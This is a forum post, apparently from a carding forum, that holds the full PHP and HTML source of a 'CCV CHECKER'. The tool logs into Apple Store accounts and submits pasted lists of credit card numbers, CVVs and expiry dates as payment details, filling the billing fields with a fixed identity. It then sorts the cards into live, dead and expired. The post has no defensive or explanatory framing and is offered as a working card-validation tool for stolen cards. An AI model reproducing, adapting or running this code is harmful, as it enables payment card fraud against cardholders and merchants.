A25414N
Professional
- Messages
- 243
- Reaction score
- 20
- Points
- 18
Code:
<?php
$__delim=isset($_POST['delim']) ? $_POST['delim']:"|";
$__ccno=isset($_POST['ccno']) ? intval($_POST['ccno']):"2";
$__cvv2=isset($_POST['cvv2']) ? intval($_POST['cvv2']):"5";
$__expm=isset($_POST['expm']) ? intval($_POST['expm']):"3";
$__expy=isset($_POST['expy']) ? intval($_POST['expy']):"4";
$__cclist=isset($_POST['cclist']) ? $_POST['cclist']:"One CVV a line";
@unlink("ck.txt");
header("Cache-Control: no-cache, must-revalidate");
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header('Connection: keep-alive');
ini_set("max_execution_time", "360000");
@set_time_limit(0);
function rand_acc()
{
$acc = Array();
$acc[] = "email||pass";
$ran = array_rand($acc);
return explode("||", $acc[$ran]);
}
function RemoveScriptAndRefreshHeader($s) {return str_replace(array('<img','<form','<script','</script',"<meta",'http'),array('<simg','<div','<div style="display:none"','</div',"<unusetag",'#hxxp'),$s)."<hr>\n\n\n\n";}
function e($s){
if(is_array($s)){
foreach ($s as $_ename => $_eval) $s[$_ename]=urlencode($_eval);
unset($_eval,$_ename);
return $s;
}
return urlencode($s);
}
function R($s,$e){
preg_match("/".$e."/",$s,$m);
return $m[1];
}
function Re($s,$e){
return html_entity_decode(R($s,$e));
}
function inStr($s,$as){
$s=strtoupper($s);
if(!is_array($as)) $as=array($as);
for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
return false;
}
function AddZero($s,$n){
$s2="";
for($i=0;$i<($n-strlen($s));$i++){
$s2.="0";
}
return $s2.$s;
}
$isindebug=$_POST["d"]=="1" || $_GET["d"]=="1";
class AutoCheckCVV{
//var $cookies="cookies/".md5(time()).".txt";
var $_cookies="ck.txt";
var $_config_login=Array();
var $_add_cc_url="";
function open_https_url($url,$post="", $usecookie = false , $refer = "") {
if ($usecookie) {
if (file_exists($usecookie)) {
if (!is_writable($usecookie)) {
return ("Can't write to $usecookie cookie file, change file permission to 777 or remove read only for windows.");
}
} else {
$usecookie = "ck.txt";
if (!is_writable($usecookie)) {
return ("Can't write to $usecookie cookie file, change file permission to 777 or remove read only for windows.");
}
}
}
$ch = curl_init();
if($post) {
curl_setopt($ch, CURLOPT_POST ,1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
if ($usecookie) {
curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);
curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);
}
curl_setopt($ch, CURLOPT_TIMEOUT,10);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,10);
if ($refer != "") {
curl_setopt($ch, CURLOPT_REFERER, $refer );
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$result=curl_exec ($ch);
curl_close ($ch);
return $result;
}
function Navigate($url,$post="",$ck="ck.txt")
{
global $isindebug;
if($isindebug) echo "<hr style='width:3px;'>Navigating:$url<br>POST:$post<hr>";
$url=str_replace(Array(" ","+","'",'"'),Array("%20","%2b","%27","%22"),$url);
$s=$this->open_https_url($url,$post,$ck);
if($isindebug) echo RemoveScriptAndRefreshHeader($s)."<hr>";
return($s);
}
function f_DoLogIn($email,$pass){
fclose(fopen("ck.txt","w"));
$this->f_DoLogOut();
$s=$this->Navigate("http://store.apple.com/us","");
$url=Re($s,'<a href="([^"]*)".*><span>Account<\/span><\/a>');
$s=$this->Navigate($url,"");
if(!inStr($s,"You are logged in as")){
$url=Re($s,'<a href="([^"]*)">Login<\/a>');
$s=$this->Navigate($url,"");
$url=Re($s,'<form name="appleConnectForm" method="post" action="([^"]*)">');
$s=$this->Navigate($url,
"theAccountName=".e($email)."".
"&theAccountPW=".e($pass)."".
"&1.Continue.x=32".
"&1.Continue.y=9");
if(!inStr($s,"You are logged in as")){
die("Không đăng nhập được với user: " . $email);
}
}
$this->_add_cc_url=Re($s,'<a href="([^"]*)"><strong>(.*)Change account information<\/strong><\/a>');
//die($this->_add_cc_url);
}
function f_DoLogOut(){
fclose(fopen("ck.txt","w"));
//$this->Navigate("https://www.stubhub.com/?gSec=login&gAct=logout");
}
function f_DeleteCC(){
}
function f_CheckDie($s,$ccn="",$cvn="",$expm="",$expy="",$checkid=0){
/*
if (false === inStr($s,"We cannot validate your credit card.") && false === inStr($s,"Please correct the fields marked in red"))
{
echo "<textarea cols = 70 rows = 30>" . $s . "</textarea>";
exit;
}
*/
if (inStr($s, "header_pleasewait_validate.gif"))
{
$u=Re($s,'<meta content="[0-9]+;url=([^"]*)" http-equiv="refresh" \/>');
if ($u == "") $u=Re($s,'<meta http-equiv="refresh" content="[0-9]+;url=([^"]*)"');
//echo "<textarea cols=70 rows=30>";
//echo $s;
//echo "</textarea>";
//exit;
sleep(1);
$s=$this->Navigate($u);
}
if (inStr($s, "You are logged in as"))
{
return 1;
}
elseif (inStr($s,"We cannot validate your credit card."))
{
return 2;
}
elseif (inStr($s,"Please correct the fields marked in red."))
{
return 2;
}
elseif ($checkid == 2)
{
$checkid ++;
$this->f_DoLogIn($this->_config_login["email"],$this->_config_login["password"]);
return $this->f_AddCC($ccn,$cvn,$expm,$expy,$checkid);
}
elseif ($checkid == 4)
{
return 3;
}
else
{
$checkid ++;
return $this->f_AddCC($ccn,$cvn,$expm,$expy,$checkid);
}
}
function f_AddCC($ccn,$cvn,$expm,$expy,$checkid=0){
$ccntypes=Array("3"=>"American+Express","4"=>"VISA","5"=>"Mastercard","6"=>"Discover");
$cctype=$ccntypes[substr($ccn,0,1)];
$ccn=preg_replace("/[^0-9]/","",$ccn);
if(substr($ccn,0,1)=="3"){
$cvn=AddZero("".$cvn,4);
}else $cvn=AddZero("".$cvn,3);
if(strlen($expy)==4) $expy=substr($expy,-2);
if(strlen($expy)==1) $expy="0".$expy;
if($expy<9) return true;
$param="0.26.9.5.1.1.0.1.13.1.7.2=".e($this->_config_login["email"]);
$param.="&0.26.9.5.1.1.0.1.13.1.11.0=".e($this->_config_login["password"]);
$param.="&0.26.9.5.1.1.0.1.13.1.17.0=".e($this->_config_login["password"]);
$param.="&0.26.9.5.1.1.0.1.13.1.19.3=who+are+you";
$param.="&0.26.9.5.1.1.0.1.13.1.19.9=me";
$param.="&0.26.9.5.1.1.0.1.13.1.19.15=1";
$param.="&0.26.9.5.1.1.0.1.13.1.19.17=1";
$param.="&0.26.9.5.1.1.0.1.17.1.17.1.15.7=Debra";
$param.="&0.26.9.5.1.1.0.1.17.1.17.1.15.9=Tidwell";
$param.="&0.26.9.5.1.1.0.1.17.1.17.1.28.1.1.11=9378+Chateau+St";
$param.="&0.26.9.5.1.1.0.1.17.1.17.1.28.1.1.13=";
$param.="&billingCityName=Las+Vegas";
$param.="&0.26.9.5.1.1.0.1.17.1.17.1.28.1.1.26=NV";
$param.="&0.26.9.5.1.1.0.1.17.1.17.1.28.1.1.28=89123";
$param.="&0.26.9.5.1.1.0.1.17.1.17.1.32.4.1=412";
$param.="&0.26.9.5.1.1.0.1.17.1.17.1.32.6=5671256";
$param.="&0.26.9.5.1.1.0.1.17.1.17.1.32.10=";
$param.="&0.26.9.5.1.1.0.1.17.1.17.1.32.12.1.4.1=";
$param.="&0.26.9.5.1.1.0.1.17.1.17.1.32.12.1.6=";
$param.="&0.26.9.5.1.1.0.1.17.1.19.3.1.15.7=";
$param.="&0.26.9.5.1.1.0.1.17.1.19.3.1.15.9=";
$param.="&0.26.9.5.1.1.0.1.17.1.19.3.1.28.1.1.11=";
$param.="&0.26.9.5.1.1.0.1.17.1.19.3.1.28.1.1.13=";
$param.="&shippingCityName=";
$param.="&0.26.9.5.1.1.0.1.17.1.19.3.1.28.1.1.26=";
$param.="&0.26.9.5.1.1.0.1.17.1.19.3.1.28.1.1.28=";
$param.="&0.26.9.5.1.1.0.1.17.1.19.3.1.32.4.1=";
$param.="&0.26.9.5.1.1.0.1.17.1.19.3.1.32.6=";
$param.="&0.26.9.5.1.1.0.1.17.1.19.3.1.32.10=";
$param.="&paymentType=$cctype";
$param.="&0.26.9.5.1.1.0.1.23.1.0.0.1.41.3.0=$ccn";
$param.="&0.26.9.5.1.1.0.1.23.1.0.0.1.43=".($expm-1);
$param.="&0.26.9.5.1.1.0.1.23.1.0.0.1.45=".($expy-9);
$param.="&0.26.9.5.1.1.0.1.23.1.0.0.1.47.1=$cvn";
$param.="&0.26.9.5.1.1.0.1.27.1.5.3=Home";
$param.="&0.26.9.5.1.1.0.1.35.11.x=64";
$param.="&0.26.9.5.1.1.0.1.35.11.y=8";
$s=$this->Navigate($this->_add_cc_url,"");
//echo $s;
$u=Re($s,'<form id="addressForm" method="POST" action="([^"]*)">');
//die($u."<hr>".$param);
$s=$this->Navigate($u,$param);
//if($this->f_CheckDie($s) == 2) return 2;
///cho 3s
/*
for($i=0;$i<5;$i++){
$u=Re($s,'<meta content="[0-9]+;url=([^"]*)" http-equiv="refresh" \/>');
//echo $u."<hr>";
if($u=="") break;
usleep(100000);
$s=$this->Navigate($u);
}
*/
return $this->f_CheckDie($s,$ccn,$cvn,$expm,$expy,$checkid);
}
function f_LogIn(){
$apple_acc = rand_acc();
$this->_config_login["email"] = $apple_acc[0];
$this->_config_login["password"] = $apple_acc[1];
$this->f_DoLogIn($this->_config_login["email"],$this->_config_login["password"]);
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>CCV CHECKER</title>
<script type="text/javascript">
function _exptype(t)
{
if (t==1)
{
noidung = ('Delim: <input id="delim" type="text" name="delim" value="|" size="5" />\
CC No: <input type="text" id="ccno" name="ccno" value="2" size="5" />\
CVV2: <input type="text" id="cvv2" name="cvv2" value="5" size="5" />\
EXP Type:\
<select id="exptype" name="exptype" onchange="_exptype(this.value);">\
<option value="1">None</option>\
<option value="2">MMYY</option>\
</select>\
EXPM: <input id="expm" type="text" name="expm" value="3" size="5" />\
EXPY: <input id="expy" type="text" name="expy" value="4" size="5" />');
}
else
{
noidung = ('Delim: <input id="delim" type="text" name="delim" value="|" size="5" />\
CC No: <input type="text" id="ccno" name="ccno" value="2" size="5" />\
CVV2: <input type="text" id="cvv2" name="cvv2" value="5" size="5" />\
EXP Type:\
<select id="exptype" name="exptype" onchange="_exptype(this.value);">\
<option value="1">None</option>\
<option value="2" selected="selected">MMYY</option>\
</select>\
EXPM: <input id="exp" type="text" name="exp" value="3" size="5" />');
}
document.getElementById('info').innerHTML = noidung;
}
function kiemtra()
{
var cclist = document.getElementById('cclist').value;
if (cclist.length < 20)
{
alert('Please enter cc.');
return false;
}
var delim = document.getElementById('delim').value;
if (delim.length < 1)
{
alert('Please enter delimter.');
return false;
}
var ccno = document.getElementById('ccno').value;
if (ccno.length < 1)
{
alert('Please enter cc number position.');
return false;
}
var cvv2 = document.getElementById('cvv2').value;
if (cvv2.length < 1)
{
alert('Please enter cvv2 position.');
return false;
}
var exptype = document.getElementById('exptype').value;
if (exptype == 1)
{
var expm = document.getElementById('expm').value;
var expy = document.getElementById('expy').value;
if (expm.length < 1 || expy.length < 1)
{
alert('Please enter exp month position and exp year position.');
return false;
}
}
else
{
var exp = document.getElementById('exp');
if (exp.length < 1)
{
alert('Please enter exp position.');
return false;
}
}
cc = cclist.split("\n");
for (i=0; i <10; i++)
{
if (cc[i].length > 20)
{
_cc = cc[i].split(delim);
if (_cc[(ccno - 1)].length < 15)
{
alert('Oh uhm! Sai vị trí cc number rồi thì phải.');
alert('Kiểm tra lỗi đúng ' + (i+1));
return false;
}
}
}
return true;
}
function add_cclive(cc)
{
document.getElementById('cclive').value += cc + "\n";
}
function add_ccdis(cc)
{
document.getElementById('ccMat Ket Noi').value += cc + "\n";
}
</script>
<style type="text/css">
* { font-family:Tahoma, Geneva, sans-serif; font-size:12px;
}
.textarea {
text-decoration:none;
margin:5px;
width:90%;
height:250px;
padding:5px;
}
A:link {text-decoration: none}
A:visited {text-decoration: none}
A:active {text-decoration: none}
A:hover {text-decoration: underline; color: red;}
.result {
margin:10px;
font-weight:normal;
text-align:left;
}
</style>
</head>
<body>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<th height="50" scope="col"><a href="./"> Ccv Checker By Store Apple</a></th>
</tr>
<tr>
<th scope="row">
<form name="checkcc" method="post" action="?act=check" onsubmit="return kiemtra();">
<p>
<textarea id="cclist" name="cclist" class="textarea"><?php echo $__cclist; ?></textarea>
<br />
<div id="info">
Delim: <input id="delim" type="text" name="delim" value="<?php echo $__delim; ?>" size="5" />
CC No: <input id="ccno" type="text" name="ccno" value="<?php echo $__ccno; ?>" size="5" />
CVV2: <input id="cvv2" type="text" name="cvv2" value="<?php echo $__cvv2; ?>" size="5" />
EXP Type:
<select id="exptype" name="exptype" onchange="_exptype(this.value);">
<option value="1">None</option>
<option value="2">MMYY</option>
</select>
EXPM: <input id="expm" type="text" name="expm" value="<?php echo $__expm; ?>" size="5" />
EXPY: <input id="expy" type="text" name="expy" value="<?php echo $__expy; ?>" size="5" />
</div><br />
Line Begin: <input id="linebegin" type="text" name="linebegin" value="1" size="3" /> <input type="submit" value="Check!" /><br />
<br />
</p>
</form>
<?php
if ($_GET['act'] != "check" || !$_POST['cclist'])
{
?>
<hr />
<?php
}
else
{
echo "<div class='result'>";
$live = "";
$die = "";
$error = "";
$dis = "";
$CCVV=new AutoCheckCVV();
//$CCVV->f_DoLogOut();
$CCVV->f_LogIn();
$cclist = trim($_POST['cclist']);
$delim = trim($_POST['delim']);
$ccno = trim($_POST['ccno']) - 1;
$expm = trim($_POST['expm']) - 1;
$expy = trim($_POST['expy']) - 1;
$cvv2 = trim($_POST['cvv2']) - 1;
$exptype = trim($_POST['exptype']);
$exp = trim($_POST['exp']) - 1;
$linebegin = trim($_POST['linebegin']);
if (!is_numeric($linebegin)) $linebegin = 1;
$cc = explode("\n", $cclist);
foreach ($cc as $k => $v)
{
if ($k >= ($linebegin - 1))
{
$_cc = explode($delim, $v);
{
$_ccnum = trim($_cc[$ccno]);
$_ccnum = str_replace(" ", "", $_ccnum);
$_ccty = substr($_ccnum, 0, 1);
if ($exptype == 1)
{
$_expm = trim($_cc[$expm]);
$_expy = trim($_cc[$expy]);
$_expy = trim(substr($_expy, -2));
}
else
{
$_exp = trim($_cc[$exp]);
$_expm = trim(substr($_exp, 0, 2));
$_expy = trim(substr($_exp, -2));
}
if (strlen($_expm) == 1) $_expm = "0" . $_expm;
$ym = $_expy . $_expm;
$now = substr(date("Y"), -2) . date("m");
$_cvv2 = trim($_cc[$cvv2]);
if (is_numeric($_ccnum) && is_numeric($_expm) && is_numeric($_expy) && is_numeric($_cvv2) && (strlen($_ccnum) >= 15) && (strlen($_cvv2) >= 3))
{
if (strlen($_ccv2) == 1) $_ccv2 = "00" . $_ccv2;
elseif (strlen($_ccv2) == 2) $_ccv2 = "0" . $_ccv2;
elseif (($_ccty == 3 ) && strlen($_ccv2) == 3) $_ccv2 = "000" . $_ccv2;
echo "<font size='1'>" . ($k+1) . "/" . count($cc) . "</font>|";
if ($ym < $now)
{
echo "<font color=blue><b>EXP NOT VAILD=></b></font>";
$die .= $v . "<br />";
}
elseif ($_ccty == 3 && (strlen($_cvv2) < 4))
{
echo "<font color=orange><b>SECURITY CODE NOT VAILD=></b></font>";
$die .= $v . "<br />";
}
elseif ($CCVV->f_AddCC(trim($_ccnum),trim($_cvv2),trim($_expm),trim($_expy)) == 1)
{
echo "<font color=green><b>LIVE=></b></font>";
$live .= $v . "<br />";
} elseif ($CCVV->f_AddCC(trim($_ccnum),trim($_cvv2),trim($_expm),trim($_expy)) == 2)
{
echo "<font color=#ff0000><b>DIE=></b></font>";
$die .= $v . "<br />";
}
else
{
echo "<font color=violet><b>Mat Ket Noi=></b></font>";
$dis .= $v . "<br />";
}
echo $v;
echo $_delim . " Checked by Vnexpress<br />";
flush;
//echo $_ccnum . "===" . $_expm . "===" . $_expy . "===" . $_cvv2 . "\n";
}
else
{
echo "<font color=blue><b>CC Het Han=></b></font>";
$error .= $v . "<br />";
echo $v;
echo $_delim . "Checked by Vnexpress<br />";
}
}
flush();
}
}
$CCVV->f_DeleteCC();
$CCVV->f_DoLogOut();
//$CCVV->f_CheckCC($_POST["cclist"],"\|",$_POST["ccno"],$_POST["cvv2"],$_POST["expm"],$_POST["expy"]);
echo "<hr><center><font color='green'><b>LIVE</b></font></center><br /><br />";
echo $live;
echo "<hr><center><font color='red'><b>DIE</b></font></center><br /><br />";
echo $die;
echo "<hr><center><font color='Blue'><b>CC Het Han</b></font></center><br /><br />";
echo $error;
echo "<hr><center><font color='violet'><b>Mat Ket Noi</b></font></center><br /><br />";
echo $dis;
echo "</div>";
}
?>
</th>
</tr>
<tr>
<th height="50" scope="row">
Checker by Store Apple</th>
</tr>
</table>
</body>
</html>
</table>
</body>
</html>
Last edited: